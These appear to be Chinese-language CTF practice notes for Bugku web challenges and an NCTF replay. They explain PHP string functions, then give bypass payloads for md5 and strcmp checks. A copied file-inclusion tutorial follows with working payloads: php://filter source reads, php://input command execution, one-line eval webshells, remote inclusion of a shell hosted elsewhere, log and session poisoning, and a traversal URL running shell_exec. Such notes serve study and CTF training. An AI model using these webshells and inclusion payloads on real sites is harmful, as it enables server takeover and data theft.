Bugku

Bugku补题

备份是个好习惯

题目不难涉及到的php函数比较多,都是现查的,记一下
开始备份提示,查看临时文件index.php~或者index.php.bak
index.php.bak中有源码

strstr(str1,str2)

函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回str2在str1中首次出现的地址;否则,返回NULL。
<?php echo strstr(“Helloworld!”,”world”);?>
输出:
world!

$_SERVER[‘REQUEST_URI’]

http://localhost(域名或者ip地址)/aaa/index.php?p=222&q=333
结果:
$_SERVER[‘QUERY_STRING’]=”p=222&q=333”;
$_SERVER[‘REQUEST_URI’]=”/aaa/index.php?p=222&q=333”;
$_SERVER[‘SCRIPT_NAME’]=”/aaa/index.php”;
$_SERVER[‘PHP_SELF’]=”/aaa/index.php”;

由实例可知:
$_SERVER[“QUERY_STRING”] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER[“REQUEST_URI”] 获取 http://localhost 后面的值,包括/
$_SERVER[“SCRIPT_NAME”] 获取当前脚本的路径,如:index.php
$ _SERVER[“PHP_SELF”] 当前正在执行脚本的文件名

substr(string,start,length)

substr() 函数返回字符串的一部分。length不必需。
echo substr(“Hello world”,6);输出第六个字符之后的
输出:world

str_replace(find,replace,string,count)

find
必需。规定要查找的值。
replace
必需。规定替换 find 中的值的值。
string
必需。规定被搜索的字符串。
count
可选。一个变量,对替换数进行计数。

echo str_replace(“world”,”John”,”Hello world!”);
将world替换为John
输出:Hello John!
该函数对大小写敏感。请使用 str_ireplace() 执行对大小写不敏感的搜索。

parse_str() 函数把查询字符串解析到变量中。

parse_str(“name=Peter&age=43”);
echo $name;
echo $age;
输出:Peter 43

MD5碰撞

题目代码的意思就是ip地址之后从?开始的值,然后变为第一位之后的值,删掉?。由echo语句可知变量中有key1和key2,但是$str中遇到key就替换为空,由于替换只执行一次,所以双写就可以绕过,之后MD5碰撞构造payload:http://123.206.87.240:8002/web16/?kekeyy1[]=1&kekeyy2[]=2,就可以拿到flag。
当 md5接受的数据为数组时就会返回null,两值相等。

strcmp

strcmp(str1,str2)如果str1小于str2返回-1,str1=str2返回0,str1>str2返回1,if(!strcmp($a,$b)),要求a与b中值相等。
strcmp()在比较字符串和数组的时候直接返回0
a[]=1&b[]=1

flag在index里

文件包含漏洞(基础知识选自https://blog.csdn.net/qq_41007744/article/)

PHP包含

php中提供四个文件包含的函数,分别是include(),include_once(),require()和require_once()。 这四个都可以进行文件包含,但有区别

require找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
include找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行
include_once:此语句和include雷系,唯一区别就是如果该文件中的代码已经被包含,则不会再次包含
require_once 此语句和require类似,唯一区别就是如果该文件中的代码已经被包含。则不会再次包含

1.使用PHP封装协议

file_get_contents内部可以使用php伪协议

PHP带有很多内置的URL风格的封装协议,,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。

file:// 访问本地文件系统
http:// 访问HTTP(s)网址
php:// 访问输入/输出流
zlib:// 压缩流
data:// 数据
ssh2:// Secure Shell 2
expect:// 处理交互式的流

glob:// 查找匹配的文件路径

使用封装协议读取PHP文件

使用PHP封装协议内置封装协议可以读取PHP文件。

(1)http://www.xxser.com/index.php?page=php://filter/read=convert.base64-encode/resource=xxxx.php

得到base64加密的php源码

(2)写入php文件

使用php://input执行php语句,但使用这条语句时需要注意: php://input受限于allow_url_include(on)。

构造URL:

http://www.xxser.com/index.php?page=php://input,

并且提交数据为: <?php system (‘net user’);?>

如果提交<?fputs(fopen(“shell.php”,”w”),”<?php eval($_POST[‘xxser’]);?>”)?>将会在index.php所在目录下生成shell.php

2.包含截断

当文件名会被强制添加时使用%00截断,php中不会显示%00后面的内容,这种方法只适用于magic_quotes_gpc=Off时,开启时%00会被转义。

3. 远程包含Shell

如果目标主机的allow_url_fopen是激活的,就可以尝试远程包含一句话木马,如: http://www.2cto.com/echo.txt

代码如下:

<?fputs(fopen(“shell.php”,”w”),”<?php eval ($_POST[x]);?>”)?>
访问:

http://www.xxser.com/Index.php?page=http://www.2cto.com/echo.txt,

将会在Index.php所在的目录下生成shell.php

4.本地包含配合文件上传

很多网站通常会提供文件上传的功能,比如:上传头像、文档等。假设已经上传一句话图片木马到服务器,路径为:

/uploadfile/201363.jpg

图片代码如下:

<?fputs(fopen(“shell.php”,”w”),”<?php eval($_POST[x]);?>”)?>
访问URL:

http://www.xxser.com/Index.php?page=./uploadfile/201363.jpg,

包含这张图片,将会在Index.php所在的目录中生成shell.php

5.包含日志文件

Apache运行后一般默认生成两个日志文件,一个是access.log和error.log,Apache访问日志文件记录了客户端的每次请求及服务器响应的相关信息,例如,当我们请求Index.php时,Apache就会记录我们的操作,并且写到访问日志文件access.log中

当访问一个不存在的资源时,Apache日志同样会记录

这就意味着,如果网站存在本地包含漏洞,却没有可以包含的文件时,就可以去访问URL: http://www.xxser.com/<?php phpinfo();?>.Apache会记录请求”<?php phpinfo();?>”

并写到accsee.log文件中,这时再去包含Apache的日志文件,就可以利用包含漏洞。

但实际是不可行的,因为在访问URL后一句话木马在日志文件里变形了

127.0.0.1 - - [04/Jun/2013:15:04:22 +0800] “GET /%3C?php%20phpinfo();)?%3E HTTP/1.1” 403 291

PHP代码中的”<,>,空格”都被浏览器转码了,这样就无法利用Apache包含漏洞。

但可以通过Burp绕过编码

再利用accsee去包含accsee.log,即可成功执行其中的PHP代码

在使用Apache日志文件包含时,首先需要确定Apache的日志路径,否则即使攻击者将PHP写入日志文件,也无法包含

常见几个路径:
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log

原文链接:https://blog.csdn.net/qq_41007744/article/

6.包含session文件

session中的内容可以被控制,传入恶意代码。
session的存储位置可以获取。
1.通过phpinfo的信息可以获取到session的存储位置。

2.通过猜测默认的session存放位置进行尝试。session 文件一般存放在 / tmp/、/var/lib/php/session/、/var/lib/php/session / 等目录下,文件名字一般以 sess_SESSIONID 来保存

php一句话木马

查看php的shell信息:<?php phpinfo();exit;?>
eval函数将接受的字符串当做代码执行:<?php eval($_get[‘a’]);?>
<?php @eval($_POST[‘c’]);?>

NCTF Web题‘基本操作’复现

登陆界面,guest弱口令进入,通过数据库查询语句在session中写入一句话木马“select <?php eval($_get[‘a’]);?>” 留下查询记录。burp抓包得到sessionid为 p5skdakeoussr62f91bg2oo2cv3is54i,包含session文件,一句话木马会将获取到的GET型a变量的值存入到session中。再构造index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_p5skdakeoussr62f91bg2oo2cv3is54i&a=echo%20shell_exec(%22ls%20/%22) 列出当前目录所以文件看到nctfffffffff,cat就能拿到flag。

0%